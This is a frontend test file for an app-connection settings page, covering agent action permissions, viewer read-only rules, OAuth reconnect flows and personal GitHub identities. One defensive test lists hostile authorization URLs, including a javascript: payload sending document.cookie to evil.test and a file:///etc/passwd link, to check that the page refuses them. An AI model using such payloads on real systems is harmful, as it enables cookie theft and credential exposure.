description: "Give agents governed access to Notion.",
authKind: "oauth",
transportTemplate: { transport: "mcp_remote", url: "https://mcp.notion.com/mcp" },
credentialFields: [],
recommendedDefaults: {},
urlPatterns: [],
}],
});
listUserDirectoryMock.mockResolvedValue({
users: [{
principalId: "user-1",
status: "active",
user: {
id: "user-1",
name: "Dotta",
email: "dotta@example.com",
image: "https://example.com/dotta.png",
},
}],
});
listConnectionGrantsMock.mockResolvedValue({
connection: { id: "conn-1", uid: "conn-1" },
grants: [organizationGrant()],
capabilities: fullCapabilities(),
currentUserId: "user-1",
members: [],
});
await renderAppDetail();
expect(container.textContent).toContain("Dotta’s Notion");
expect(container.textContent).not.toContain("Connected by");
expect(container.textContent).toContain("Anyone in your company can use this connection");
expect(container.textContent).not.toContain("workspace authorization");
expect(findButton("Reconnect")).toBeUndefined();
expect(findButton("Danger zone")).toBeUndefined();
});
it("renders searchable action groups with three-way permission toggles", async () => {
mockParams.tab = "permissions";
await renderAppDetail();
expect(container.textContent).toContain("Which agents can use this connection?");
expect(container.textContent).not.toContain("Always installed");
expect(putConnectionInstallsMock).not.toHaveBeenCalled();
expect(container.textContent).toContain("Read (1)");
expect(container.textContent).toContain("Write (1)");
expect(container.textContent).toContain("Read repo");
expect(container.textContent).toContain("Write issue");
expect(container.textContent).toContain("Review 1 new action");
expect(container.querySelector('input[aria-label="Find an action"]')).toBeTruthy();
expect(container.querySelector('button[aria-label="Read repo: Allowed"]')?.getAttribute("aria-checked")).toBe("true");
expect(container.querySelector('button[aria-label="Write issue: Ask first"]')?.getAttribute("aria-checked")).toBe("true");
expect(Array.from(container.querySelectorAll("button")).filter((button) => button.textContent?.trim() === "Test")).toHaveLength(2);
expect(container.textContent).not.toContain("Views data without changing it.");
expect(container.textContent).not.toContain("Creates or changes data.");
expect(container.querySelector("section.bg-card")).toBeNull();
});
it("opens an action test modal with agent selection, inputs, and result-ready chrome", async () => {
mockParams.tab = "permissions";
listTestAgentsMock.mockResolvedValue({
agents: [{
id: "agent-1",
name: "Coder",
role: "engineer",
title: "Engineer",
status: "active",
orgDepth: 1,
}],
});
getTestAgentAccessMock.mockResolvedValue({
access: {
connectionId: "conn-1",
toolCount: 2,
allowedCount: 1,
askFirstCount: 1,
offCount: 0,
lastChangedAt: null,
lastChangedByAgentId: null,
lastChangedByName: null,
tools: [
{
toolName: "read_repo",
gatewayToolName: "github__read_repo",
displayName: "Read repo",
risk: "read",
decision: "allowed",
reasonCode: null,
matchedPolicyIds: [],
},
],
},
});
await renderAppDetail();
const testButton = Array.from(container.querySelectorAll("button"))
.find((button) => button.textContent?.trim() === "Test");
await act(async () => {
testButton?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
});
await flushReact();
const dialog = document.body.querySelector('[role="dialog"]');
expect(dialog?.textContent).toContain("Test Read repo");
expect(dialog?.textContent).toContain("Act as");
expect(dialog?.textContent).toContain("Coder");
expect(dialog?.textContent).toContain("This action takes no inputs.");
expect(dialog?.textContent).toContain("Run");
});
it("persists ask-first for read-only actions from the three-way toggle", async () => {
mockParams.tab = "permissions";
await renderAppDetail();
const askFirst = container.querySelector('button[aria-label="Read repo: Ask first"]');
expect(askFirst).toBeTruthy();
await act(async () => {
askFirst!.dispatchEvent(new MouseEvent("click", { bubbles: true }));
});
await flushReact();
expect(finishAppMock).toHaveBeenCalledWith("company-1", "conn-1", {
enabledCatalogEntryIds: expect.arrayContaining(["catalog-read", "catalog-write"]),
askFirstCatalogEntryIds: expect.arrayContaining(["catalog-read", "catalog-write"]),
access: "all_agents",
});
});
it("persists off by removing an action from enabled and ask-first sets", async () => {
mockParams.tab = "permissions";
await renderAppDetail();
const off = container.querySelector('button[aria-label="Write issue: Off"]');
expect(off).toBeTruthy();
await act(async () => {
off!.dispatchEvent(new MouseEvent("click", { bubbles: true }));
});
await flushReact();
expect(finishAppMock).toHaveBeenCalledWith("company-1", "conn-1", {
enabledCatalogEntryIds: ["catalog-read"],
askFirstCatalogEntryIds: [],
access: "all_agents",
});
});
it("fetches the connection configuration under a distinct child of the profiles cache", async () => {
await renderAppDetail();
expect(listConnectionProfileConfigurationMock).toHaveBeenCalledWith("conn-1");
expect(queryKeys.tools.connectionProfileConfiguration("company-1", "conn-1").slice(0, 3))
.toEqual(queryKeys.tools.profiles("company-1"));
expect(queryKeys.tools.connectionProfileConfiguration("company-1", "conn-1"))
.not.toEqual(queryKeys.tools.connectionProfileConfiguration("company-1", "conn-2"));
});
it("shows and removes task-granted access without changing the connection's default permissions", async () => {
const grant = {
id: "task-grant", status: "active", profileKey: "connection-intent:conn-1:agent-1",
metadata: { source: "connection_intent", connectionId: "conn-1", agentId: "agent-1" },
bindings: [{ targetType: "agent", targetId: "agent-1" }],
entries: [{ effect: "include", catalogEntryId: "catalog-write" }],
};
listConnectionProfileConfigurationMock.mockResolvedValue({ profiles: [grant] });
listPoliciesMock.mockResolvedValue({ policies: [{
enabled: true, policyType: "require_approval",
selectors: { catalogEntryId: "catalog-write" },
config: { source: "connection_intent", connectionId: "conn-1", agentId: "agent-1" },
}] });
await renderAppDetail();
const section = Array.from(container.querySelectorAll("section")).find(section => section.textContent?.includes("Additional agent access"))!;
expect(section.textContent).toContain("Write issue");
expect(section.textContent).toContain("Ask first");
listConnectionProfileConfigurationMock.mockResolvedValue({ profiles: [] });
await act(async () => section.querySelector("button")!.click());
await flushReact();
expect(deleteProfileMock).toHaveBeenCalledWith("task-grant");
expect(container.textContent).not.toContain("Additional agent access");
expect(finishAppMock).not.toHaveBeenCalled();
expect(putConnectionInstallsMock).not.toHaveBeenCalled();
});
it("keeps the task grant visible when removal fails", async () => {
listConnectionProfileConfigurationMock.mockResolvedValue({ profiles: [{
id: "task-grant", status: "active", profileKey: "connection-intent:conn-1:agent-1",
metadata: { source: "connection_intent", connectionId: "conn-1", agentId: "agent-1" },
bindings: [{ targetType: "agent", targetId: "agent-1" }],
entries: [{ effect: "include", catalogEntryId: "catalog-read" }],
}] });
deleteProfileMock.mockRejectedValue(new Error("Connection access changed. Reload and try again."));
await renderAppDetail();
const button = Array.from(container.querySelectorAll("button")).find(button => button.textContent === "Remove grant")!;
await act(async () => button.click());
await flushReact();
expect(container.querySelector('[role="alert"]')?.textContent).toContain("Connection access changed");
expect(button.disabled).toBe(false);
});
it("persists agent access independently from always-installed agents", async () => {
mockParams.tab = "permissions";
listConnectionProfileConfigurationMock.mockResolvedValue({
profiles: [{
profileKey: "app:conn-1",
entries: [
{ effect: "include", catalogEntryId: "catalog-read" },
{ effect: "include", catalogEntryId: "catalog-write" },
],
bindings: [{ targetType: "agent", targetId: "agent-1" }],
}],
});
await renderAppDetail();
const accessGroup = container.querySelector('[role="radiogroup"][aria-label="Which agents can use this connection"]');
const anyAgent = Array.from(accessGroup?.querySelectorAll('[role="radio"]') ?? [])
.find((radio) => radio.textContent?.includes("Any agent"));
expect(anyAgent).toBeTruthy();
await act(async () => {
anyAgent?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
});
await flushReact();
expect(finishAppMock).toHaveBeenCalledWith("company-1", "conn-1", {
enabledCatalogEntryIds: ["catalog-read", "catalog-write"],
askFirstCatalogEntryIds: ["catalog-write"],
access: "all_agents",
});
expect(putConnectionInstallsMock).not.toHaveBeenCalled();
});
it("keeps always-installed agents in the access allowlist", async () => {
mockParams.tab = "permissions";
getConnectionInstallsMock.mockResolvedValue({
connectionId: "conn-1",
installs: [{
id: "install-agent-1",
companyId: "company-1",
connectionId: "conn-1",
targetType: "agent",
targetId: "agent-1",
createdByAgentId: null,
createdByUserId: "user-1",
createdAt: new Date(),
}],
});
await renderAppDetail();
const accessGroup = container.querySelector('[role="radiogroup"][aria-label="Which agents can use this connection"]');
const pickedAgents = Array.from(accessGroup?.querySelectorAll('[role="radio"]') ?? [])
.find((radio) => radio.textContent?.includes("Just agents I pick"));
await act(async () => {
pickedAgents?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
});
await flushReact();
expect(finishAppMock).toHaveBeenCalledWith("company-1", "conn-1", {
enabledCatalogEntryIds: ["catalog-read", "catalog-write"],
askFirstCatalogEntryIds: ["catalog-write"],
access: { agentIds: ["agent-1"] },
});
});
it("uses the setup-style agent access question without install terminology", async () => {
mockParams.tab = "permissions";
listConnectionProfileConfigurationMock.mockResolvedValue({
profiles: [{
profileKey: "app:conn-1",
entries: [
{ effect: "include", catalogEntryId: "catalog-read" },
{ effect: "include", catalogEntryId: "catalog-write" },
],
bindings: [{ targetType: "agent", targetId: "agent-1" }],
}],
});
await renderAppDetail();
expect(container.textContent).toContain("Which agents can use this connection?");
expect(container.textContent).toContain("Just agents I pick");
expect(container.textContent).toContain("Any agent");
expect(container.textContent).not.toContain("Always installed");
expect(container.querySelector('button[aria-label="Remove Coder access"]')).toBeNull();
expect(
Array.from(container.querySelectorAll("button")).filter(
(button) => button.textContent?.trim() === "Change",
),
).toHaveLength(0);
});
/**
* Viewer rule D4: a policy-forbidden action is omitted, not disabled. The
* viewer still sees the whole state — which agents have it, what each action
* is allowed to do — with nothing to press.
*/
it("gives a viewer a read-only Permissions tab with no mutation affordances", async () => {
mockParams.tab = "permissions";
listConnectionGrantsMock.mockResolvedValue({
connection: { id: "conn-1", uid: "conn-uid-1" },
grants: [],
currentUserId: "user-1",
members: [],
capabilities: fullCapabilities({
canConfigure: false,
canManageAgentInstalls: false,
canSetCompanyInstall: false,
canConnectAsCurrentUser: false,
editableAgentIds: [],
}),
});
await renderAppDetail();
// State is still legible.
expect(container.textContent).toContain("Which agents can use this connection?");
expect(container.textContent).toContain("Actions");
expect(container.textContent).toContain("Read repo");
// Nothing to mutate: no radios, no permission selects, no refresh, no save.
expect(container.querySelector('[role="radiogroup"][aria-label="Which agents can use this connection"]')).toBeNull();
expect(container.querySelector('[role="radiogroup"][aria-label="Read repo permission"]')).toBeNull();
expect(container.querySelectorAll("select").length).toBe(0);
const labels = Array.from(container.querySelectorAll("button")).map((b) => b.textContent?.trim());
for (const forbidden of ["Change", "Save", "Refresh actions", "Choose agents"]) {
expect(labels).not.toContain(forbidden);
}
});
it("redirects legacy connection activity to the filtered company Audit feed", async () => {
mockParams.tab = "activity";
listConnectionActivityMock.mockResolvedValue({
events: [
{
id: "evt-1",
eventType: "call_completed",
agentId: "agent-1",
issueId: "issue-1",
actionRequestId: null,
toolName: "Get value",
outcome: "success",
createdAt: new Date("2026-06-12T10:00:00Z"),
},
{
id: "evt-2",
eventType: "approval_resolved",
agentId: "agent-1",
issueId: "issue-1",
actionRequestId: "request-1",
toolName: "Mark done",
outcome: "success",
createdAt: new Date("2026-06-12T10:01:00Z"),
},
],
issues: {
"issue-1": { identifier: "PAP-10912", title: "Fix app connection copy" },
},
actionRequests: {
"request-1": {
status: "approved",
resolverDisplayName: "Dotta",
resolvedByAgentId: null,
resolvedByUserId: "board-user",
},
},
});
await renderAppDetail();
expect(navigateComponentMock).toHaveBeenCalledWith({
to: "/activity?action=tool_",
replace: true,
});
});
it("removes the per-connection activity surface", async () => {
mockParams.tab = "activity";
listConnectionActivityMock.mockResolvedValue({
events: [
{
id: "evt-1",
eventType: "call_completed",
agentId: "agent-1",
issueId: null,
actionRequestId: null,
toolName: "mcp.app-gallery-link-ccad39e8-6798a369:kv-set",
outcome: "success",
createdAt: new Date("2026-06-12T10:00:00Z"),
},
],
issues: {},
actionRequests: {},
});
await renderAppDetail();
expect(container.textContent).toBe("");
expect(navigateComponentMock).toHaveBeenCalledWith({
to: "/activity?action=tool_",
replace: true,
});
});
it("redirects lifecycle history to the same Audit destination", async () => {
mockParams.tab = "activity";
listConnectionActivityMock.mockResolvedValue({
events: [
{
id: "evt-1",
eventType: "call_completed",
agentId: "agent-1",
issueId: null,
actionRequestId: null,
toolName: "Get value",
outcome: "success",
createdAt: new Date("2026-06-12T10:30:00Z"),
},
],
lifecycleEvents: [
{
id: "life-connected",
connectionId: "conn-1",
type: "app_connected",
actorType: "user",
actorId: "board-user",
agentId: null,
actorDisplayName: "Dotta",
details: null,
createdAt: new Date("2026-06-12T09:00:00Z"),
},
{
id: "life-paused",
connectionId: "conn-1",
type: "app_paused",
actorType: "user",
actorId: "board-user",
agentId: null,
actorDisplayName: "Dotta",
details: { enabled: false },
createdAt: new Date("2026-06-12T11:00:00Z"),
},
{
id: "life-allowlist",
connectionId: "conn-1",
type: "allowlist_changed",
actorType: "user",
actorId: "board-user",
agentId: null,
actorDisplayName: "Dotta",
details: { added: 1, removed: 0, total: 2 },
createdAt: new Date("2026-06-12T10:45:00Z"),
},
{
id: "life-quarantine",
connectionId: "conn-1",
type: "actions_quarantined",
actorType: "system",
actorId: null,
agentId: null,
actorDisplayName: null,
details: { count: 2 },
createdAt: new Date("2026-06-12T10:50:00Z"),
},
],
issues: {},
actionRequests: {},
});
await renderAppDetail();
expect(navigateComponentMock).toHaveBeenCalledWith({
to: "/activity?action=tool_",
replace: true,
});
});
it("keeps the header and reconnect banner across tabs", async () => {
mockParams.tab = "permissions";
getConnectionMock.mockResolvedValue(connection({
healthStatus: "degraded",
healthMessage: "Token expired.",
}));
await renderAppDetail();
expect(container.textContent).toContain("GitHub");
expect(container.textContent).toContain("Needs attention");
expect(container.textContent).toContain("This app needs reconnecting");
expect(container.textContent).toContain("Token expired.");
expect(container.textContent).toContain("Which agents can use this connection?");
});
it.each([
{ name: "remote.url", placement: "url", key: "url", prefix: null, label: "MCP server URL", value: "https://example.com/mcp?token=fresh", path: "remote.url" },
{ name: "headers.X-Api-Key", placement: "header", key: "X-Api-Key", prefix: null, label: "X-Api-Key", value: "fresh-key", path: "headers.X-Api-Key" },
{ name: "authorization", placement: "header", key: "Authorization", prefix: "Bearer ", label: "App key", value: "fresh-token", path: "credentials.authorization" },
])("reconnects a generic $label using its stored credential placement", async (fixture) => {
listGalleryMock.mockResolvedValue({ apps: [] });
listApplicationsMock.mockResolvedValue({ applications: [] });
getConnectionMock.mockResolvedValue(connection({
authKind: "api_key",
healthStatus: "missing_secret",
credentialRefs: [{ ...fixture, secretId: "old-secret", version: "latest" }],
}));
reconnectConnectionMock.mockResolvedValue({ connection: connection({ healthStatus: "ok" }) });
await renderAppDetail();
const field = container.querySelector(`input[aria-label="${fixture.label}"]`);
expect(field).not.toBeNull();
await act(() => setInputValue(field!, fixture.value));
await act(() => findButton("Check & reconnect")!.click());
await flushReact();
expect(reconnectConnectionMock).toHaveBeenCalledWith("conn-1", { [fixture.path]: fixture.value });
expect(pushToastMock).toHaveBeenCalledWith(expect.objectContaining({ title: "Reconnected" }));
});
it.each(["permissions", "review"])("offers a supported replacement for an obsolete Anthropic connection on %s", async (tab) => {
mockParams.tab = tab;
listApplicationsMock.mockResolvedValue({ applications: [] });
listGalleryMock.mockResolvedValue({ apps: [getAppStoreDefinition("anthropic")!] });
getConnectionMock.mockResolvedValue(connection({
name: "Anthropic",
transport: "rest_api",
authKind: "api_key",
config: { sourceTemplateKey: "anthropic", connectionMethodKey: "api-key" },
healthStatus: "error",
healthMessage: "This connection has no supported tool integration.",
}));
await renderAppDetail();
expect(container.querySelector('input[type="password"]')).toBeNull();
expect(findButton("Check & reconnect")).toBeUndefined();
expect(findButton("Reconnect")).toBeUndefined();
expect(container.textContent).toContain("Connection no longer supported");
expect(container.textContent).toContain("then remove this connection");
expect(container.querySelector('a[href="/apps/connect?source=anthropic"]')?.textContent)
.toBe("Add supported connection");
});
it("offers retry for a transient GitHub error without asking for another login", async () => {
mockParams.tab = "permissions";
getConnectionMock.mockResolvedValue(connection({
authKind: "oauth", healthStatus: "error", requiresReauthorization: false,
healthMessage: "GitHub access changed during refresh. Try again.",
}));
await renderAppDetail();
expect(container.textContent).toContain("Retry access");
expect(container.textContent).not.toContain("Reconnect required");
});
it("links a failed GitHub refresh to the suspended installation's settings", async () => {
mockParams.tab = "permissions";
const message = "The Paperclip GitHub installation is suspended. Unsuspend it on GitHub before refreshing access.";
getConnectionMock.mockResolvedValue(connection({
authKind: "oauth", healthStatus: "error", requiresReauthorization: false, healthMessage: message,
}));
checkConnectionHealthMock.mockRejectedValue(new ApiError(message, 422, {
error: message,
code: "github_installation_required",
details: {
code: "github_installation_required",
managementUrl: "https://github.com/organizations/paperclipai/settings/installations/101",
},
}));
const client = await renderAppDetail();
await act(async () => {
Array.from(container.querySelectorAll("button"))
.find((button) => button.textContent?.trim() === "Retry access")
?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
});
await flushReact();
expect(checkConnectionHealthMock).toHaveBeenCalledWith("conn-1");
expect(container.querySelector('a[href="https://github.com/organizations/paperclipai/settings/installations/101"]')?.textContent)
.toBe("Open installation settings on GitHub");
// An already-cached connection that also needs attention must not inherit that link.
const other = connection({
id: "conn-2", authKind: "oauth", healthStatus: "error", requiresReauthorization: false, healthMessage: message,
});
getConnectionMock.mockResolvedValue(other);
client.setQueryData(queryKeys.tools.connection("conn-2"), other);
mockParams.connectionId = "conn-2";
await act(async () => {
root.render(
,
);
});
await flushReact();
expect(container.textContent).toContain("Retry access");
expect(container.querySelector('a[href="https://github.com/organizations/paperclipai/settings/installations/101"]')).toBeNull();
});
it("shows terminal OAuth failures as reconnect-required sign-in", async () => {
mockParams.tab = "permissions";
getConnectionMock.mockResolvedValue(connection({
authKind: "oauth",
healthStatus: "failed",
healthMessage: "Authorization expired (invalid_grant).",
}));
await renderAppDetail();
expect(container.textContent).toContain("Reconnect required");
expect(container.textContent).toContain("Authorization expired (invalid_grant).");
expect(container.querySelector('input[placeholder="Paste your new key"]')).toBeNull();
await act(async () => {
Array.from(container.querySelectorAll("button"))
.find((button) => button.textContent?.trim() === "Reconnect")
?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
});
await flushReact();
expect(startOAuthMock).toHaveBeenCalledWith("conn-1");
expect(popupAssignMock).toHaveBeenCalledWith("https://example.test/oauth");
});
it("reconnects an OAuth warning through the connection's existing personal identity", async () => {
mockParams.tab = "permissions";
getConnectionMock.mockResolvedValue(connection({
authKind: "oauth",
credentialPolicy: "per_user",
createdByUserId: "user-1",
healthStatus: "failed",
healthMessage: "Authorization expired (invalid_grant).",
}));
await renderAppDetail();
await act(async () => {
Array.from(container.querySelectorAll("button"))
.find((button) => button.textContent?.trim() === "Reconnect")
?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
});
await flushReact();
expect(startOAuthMock).toHaveBeenCalledWith("conn-1", { asCurrentUser: true });
expect(popupAssignMock).toHaveBeenCalledWith("https://example.test/oauth");
});
it("does not offer a personal reconnect to someone other than its fixed owner", async () => {
mockParams.tab = "permissions";
getConnectionMock.mockResolvedValue(connection({
authKind: "oauth",
credentialPolicy: "per_user",
createdByUserId: "user-2",
healthStatus: "failed",
healthMessage: "Authorization expired (invalid_grant).",
}));
listConnectionGrantsMock.mockResolvedValue({
connection: { id: "conn-1", uid: "conn-1" },
grants: [personalGrant({ id: "grant-other", subjectUserId: "user-2" })],
capabilities: fullCapabilities({ canViewOtherPersonalIdentities: true }),
currentUserId: "user-1",
members: [{ userId: "user-2", name: "Carol", email: "carol@example.com" }],
});
await renderAppDetail();
expect(container.textContent).toContain("Reconnect required");
expect(container.textContent).toContain("The person this connection belongs to must reconnect it.");
expect(findButton("Reconnect")).toBeUndefined();
expect(startOAuthMock).not.toHaveBeenCalled();
});
it("does not offer personal key replacement to someone other than its fixed owner", async () => {
mockParams.tab = "permissions";
getConnectionMock.mockResolvedValue(connection({
authKind: "api_key",
credentialPolicy: "per_user",
createdByUserId: "user-2",
healthStatus: "failed",
healthMessage: "The key was rejected.",
}));
listConnectionGrantsMock.mockResolvedValue({
connection: { id: "conn-1", uid: "conn-1" },
grants: [personalGrant({ id: "grant-other", subjectUserId: "user-2" })],
capabilities: fullCapabilities({ canViewOtherPersonalIdentities: true }),
currentUserId: "user-1",
members: [{ userId: "user-2", name: "Carol", email: "carol@example.com" }],
});
await renderAppDetail();
expect(container.textContent).toContain("This app needs reconnecting");
expect(container.textContent).toContain("The person this connection belongs to must reconnect it.");
expect(Array.from(container.querySelectorAll("button")).filter(
(button) => button.textContent?.trim() === "Reconnect",
)).toHaveLength(0);
});
/**
* PAP-17099 — the server refuses to hand out an unsafe authorization endpoint,
* but this is the boundary where one would actually execute, so the board must
* refuse it independently of what the response body says.
*/
it.each([
["javascript:", "javascript:fetch('https://evil.test/'+document.cookie)"],
["data:", "data:text/html,"],
["file:", "file:///etc/passwd"],
["plaintext http", "http://evil.test/authorize"],
["credentials", "https://accounts.example.test@evil.test/authorize"],
])("never navigates to a %s authorization url", async (_label, authorizationUrl) => {
mockParams.tab = "permissions";
getConnectionMock.mockResolvedValue(connection({
authKind: "oauth",
healthStatus: "failed",
healthMessage: "Authorization expired (invalid_grant).",
}));
startOAuthMock.mockResolvedValue({
connectionId: "conn-1",
provider: "generic",
authorizationUrl,
expiresAt: "2026-07-10T00:00:00.000Z",
});
await renderAppDetail();
await act(async () => {
Array.from(container.querySelectorAll("button"))
.find((button) => button.textContent?.trim() === "Reconnect")
?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
});
await flushReact();
expect(navigateTopLevelMock).not.toHaveBeenCalled();
expect(pushToastMock).toHaveBeenCalledWith(expect.objectContaining({ tone: "error" }));
// The refusal explains itself without echoing the hostile URL back into the DOM.
const body = String(pushToastMock.mock.calls.at(-1)?.[0]?.body ?? "");
expect(body.length).toBeGreaterThan(0);
expect(body).not.toContain(authorizationUrl);
});
// -------------------------------------------------------------------------
// Personal connection identity (PAP-17835). These cover the permission
// matrix in the accepted design: a member self-serving, manager oversight,
// a read-only viewer, and the audience editor's two scopes.
// -------------------------------------------------------------------------
function perUserConnection(overrides: Record = {}) {
return connection({ credentialPolicy: "per_user", authKind: "oauth", ...overrides });
}
function findButton(label: string) {
return Array.from(container.querySelectorAll("button"))
.find((button) => button.textContent?.trim() === label);
}
it("does not label a revoked AI credential as Connected", async () => {
getConnectionMock.mockResolvedValue(connection({ connectionPurpose: "ai", transport: "runtime_auth", healthStatus: "ok", config: { provider: "openai", method: "api_key" } }));
listConnectionGrantsMock.mockResolvedValue({ connection: { id: "conn-1" }, grants: [organizationGrant({ status: "revoked" })], capabilities: fullCapabilities(), currentUserId: "user-1", members: [] });
await renderAppDetail();
expect(container.textContent).toContain("Revoked");
expect(container.textContent).not.toContain("Connected");
});
it("keeps the app header concise on every tab", async () => {
mockParams.tab = "permissions";
getConnectionMock.mockResolvedValue(perUserConnection());
await renderAppDetail();
expect(container.textContent).toContain("Connected");
expect(container.textContent).not.toContain("This connection is for one person.");
expect(container.textContent).not.toContain("Connected by");
});
it("lets a regular member connect their own identity and never someone else's", async () => {
mockParams.tab = "permissions";
getConnectionMock.mockResolvedValue(perUserConnection());
startPersonalAuthorizationMock.mockResolvedValue({ url: "https://accounts.example.test/authorize" });
await renderAppDetail();
// Missing personal identity is explicit, never a silent fallback.
expect(container.textContent).toContain("Which humans can use this credential?");
expect(container.textContent).toContain("Only you can use this connection");
expect(container.textContent).toContain("Personal account");
expect(container.textContent).toContain("Not connected");
expect(container.textContent).not.toContain("Organization identity");
expect(findButton("Connect organization identity")).toBeUndefined();
await act(async () => {
findButton("Connect as me")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
});
await flushReact();
// The subject is the signed-in user, so there is no path here to start
// consent on a coworker's behalf.
expect(startPersonalAuthorizationMock).toHaveBeenCalledWith("company-1", "conn-1", {
subjectUserId: "user-1",
returnTo: "/apps/conn-1/permissions",
});
expect(popupAssignMock).toHaveBeenCalledWith("https://accounts.example.test/authorize");
});
it("keeps personal managed authorization in the tenant until the provider is ready", async () => {
const session = "personal_background_session_1234";
const request = vi.spyOn(globalThis, "fetch").mockResolvedValue(Response.json({
authorizationUrl: "https://provider.example.test/authorize?state=personal",
}));
mockParams.tab = "permissions";
getConnectionMock.mockResolvedValue(perUserConnection());
startPersonalAuthorizationMock.mockResolvedValue({
url: "https://my.paperclip.app/connections/confirm?session=legacy",
handoff: { kind: "paperclip_cloud", session },
});
await renderAppDetail();
await act(async () => {
findButton("Connect as me")?.dispatchEvent(new MouseEvent("click", { bubbles: true }));
});
await flushReact();
expect(request).toHaveBeenCalledWith("/cloud/connections/handoff", expect.objectContaining({
method: "POST",
body: JSON.stringify({ session }),
}));
await vi.waitFor(() => {
expect(popupAssignMock).toHaveBeenCalledWith(
"https://provider.example.test/authorize?state=personal",
);
});
expect(navigateTopLevelMock).not.toHaveBeenCalledWith(expect.stringContaining("/connections/confirm"));
});
it("keeps a viewer read-only across identities and installs", async () => {
mockParams.tab = "permissions";
getConnectionMock.mockResolvedValue(connection({ credentialPolicy: "shared" }));
listConnectionGrantsMock.mockResolvedValue({
connection: { id: "conn-1", uid: "conn-1" },
grants: [organizationGrant({ capabilities: { canRevoke: false, canEditAudience: false } })],
capabilities: {
canConfigure: false,
canCreateOrganizationGrant: false,
canSetCompanyInstall: false,
canConnectAsCurrentUser: false,
canManageAgentInstalls: false,
canViewOtherPersonalIdentities: false,
editableAgentIds: [],
},
currentUserId: "viewer-1",
members: [],
});
await renderAppDetail();
expect(container.textContent).toContain("Anyone in your company can use this connection");
// State stays legible...
expect(container.textContent).toContain("Anyone in your company can use this connection");
expect(container.textContent).not.toContain("Personal account");
// ...and every mutation control is absent rather than disabled.
expect(findButton("Connect as me")).toBeUndefined();
expect(findButton("Manage access")).toBeUndefined();
expect(findButton("Revoke")).toBeUndefined();
expect(findButton("Connect organization identity")).toBeUndefined();
});
it("shows one fixed personal identity without an organization switch", async () => {
mockParams.tab = "permissions";
getConnectionMock.mockResolvedValue(perUserConnection({ createdByUserId: "user-2" }));
revokeConnectionGrantMock.mockResolvedValue({ id: "grant-other", kind: "user" });
listConnectionGrantsMock.mockResolvedValue({
connection: { id: "conn-1", uid: "conn-1" },
grants: [
organizationGrant(),
personalGrant({ id: "grant-other", subjectUserId: "user-2" }),
],
capabilities: fullCapabilities({ canViewOtherPersonalIdentities: true }),
currentUserId: "user-1",
members: [
{ userId: "user-1", name: "Dotta", email: "dotta@example.com" },
{ userId: "user-2", name: "Carol", email: "carol@example.com" },
],
});
await renderAppDetail();
expect(container.textContent).toContain("Only you can use this connection");
expect(container.textContent).toContain("Carol");
expect(container.textContent).not.toContain("Organization identity");
expect(container.textContent).not.toContain("Other personal identities");
expect(findButton("Connect organization identity")).toBeUndefined();
expect(findButton("Agents")).toBeUndefined();
expect(findButton("Reconnect")).toBeUndefined();
expect(findButton("Revoke")).toBeUndefined();
});
it("shows the personal GitHub username and every accessible repository", async () => {
mockParams.tab = "permissions";
getConnectionMock.mockResolvedValue(perUserConnection());
listConnectionGrantsMock.mockResolvedValue({
connection: { id: "conn-1", uid: "conn-1" },
grants: [dedicatedGitHubGrant({ kind: "user", subjectAgentId: null, subjectUserId: "user-1" }, {
repositoryCount: 2,
repositories: [
{ id: "1", fullName: "paperclipai/first", installationId: "456", private: true },
{ id: "2", fullName: "paperclipai/second", installationId: "456", private: false },
],
})],
capabilities: fullCapabilities(), currentUserId: "user-1", members: [],
});
await renderAppDetail();
expect(container.textContent).toContain("@dottabot");
expect(container.textContent).toContain("2 selected repositories");
expect(container.querySelectorAll('ul[aria-label="Accessible GitHub repositories"] li')).toHaveLength(2);
expect(container.textContent).toContain("paperclipai/first");
expect(container.textContent).toContain("paperclipai/second");
expect(container.querySelector('a[href="https://github.com/paperclipai/first"] [aria-label="Private repository"]')).toBeTruthy();
expect(container.querySelector('a[href="https://github.com/paperclipai/second"] [aria-label="Private repository"]')).toBeNull();
const configureHint = [...container.querySelectorAll("p a")].find((link) => link.textContent === "Configure access on GitHub");
expect(configureHint?.getAttribute("href")).toBe("https://github.com/apps/paperclip-test/installations/new");
});
it.each([undefined, "https://github.com/settings/installations"])("loads missing GitHub app configuration instead of linking legacy settings (%s)", async (installationUrl) => {
mockParams.tab = "permissions";
getConnectionMock.mockResolvedValue(perUserConnection());
listConnectionGrantsMock.mockResolvedValue({
connection: { id: "conn-1", uid: "conn-1" },
grants: [dedicatedGitHubGrant({ kind: "user", subjectAgentId: null, subjectUserId: "user-1" }, { installationUrl })],
capabilities: fullCapabilities(), currentUserId: "user-1", members: [],
});
await renderAppDetail();
expect(findButton("Load GitHub configuration")).toBeTruthy();
expect(container.querySelector('a[href="https://github.com/settings/installations/456"]')).toBeNull();
expect(container.querySelector('a[href="https://github.com/settings/installations"]')).toBeNull();
listConnectionGrantsMock.mockResolvedValue({
connection: { id: "conn-1", uid: "conn-1" },
grants: [dedicatedGitHubGrant({ kind: "user", subjectAgentId: null, subjectUserId: "user-1" }, {
appSlug: "paperclip-staging", installationUrl: "https://github.com/apps/paperclip-staging/installations/new",
})],
capabilities: fullCapabilities(), currentUserId: "user-1", members: [],
});
await act(async () => { findButton("Load GitHub configuration")!.click(); });
await flushReact();
expect(checkConnectionHealthMock).toHaveBeenCalledWith("conn-1");
expect(container.querySelector('a[href="https://github.com/apps/paperclip-staging/installations/new"]')?.textContent).toBe("Add More Repos on GitHub");
expect(findButton("Load GitHub configuration")).toBeUndefined();
});
it.each([false, true])("shows repositories across accounts without filter controls (empty: %s)", async (empty) => {
mockParams.tab = "permissions";
getConnectionMock.mockResolvedValue(perUserConnection());
listConnectionGrantsMock.mockResolvedValue({
connection: { id: "conn-1", uid: "conn-1" },
grants: [dedicatedGitHubGrant({ kind: "user", subjectAgentId: null, subjectUserId: "user-1" }, {
repositoryCount: empty ? 0 : 3,
installationOwnerLogins: ["paperclipai", "dottabot", "empty-org"],
repositories: empty ? [] : [
{ id: "1", fullName: "paperclipai/first", installationId: "456" },
{ id: "2", fullName: "paperclipai/second", installationId: "456" },
{ id: "3", fullName: "dottabot/first", installationId: "789" },
],
})],
capabilities: fullCapabilities(), currentUserId: "user-1", members: [],
});
await renderAppDetail();
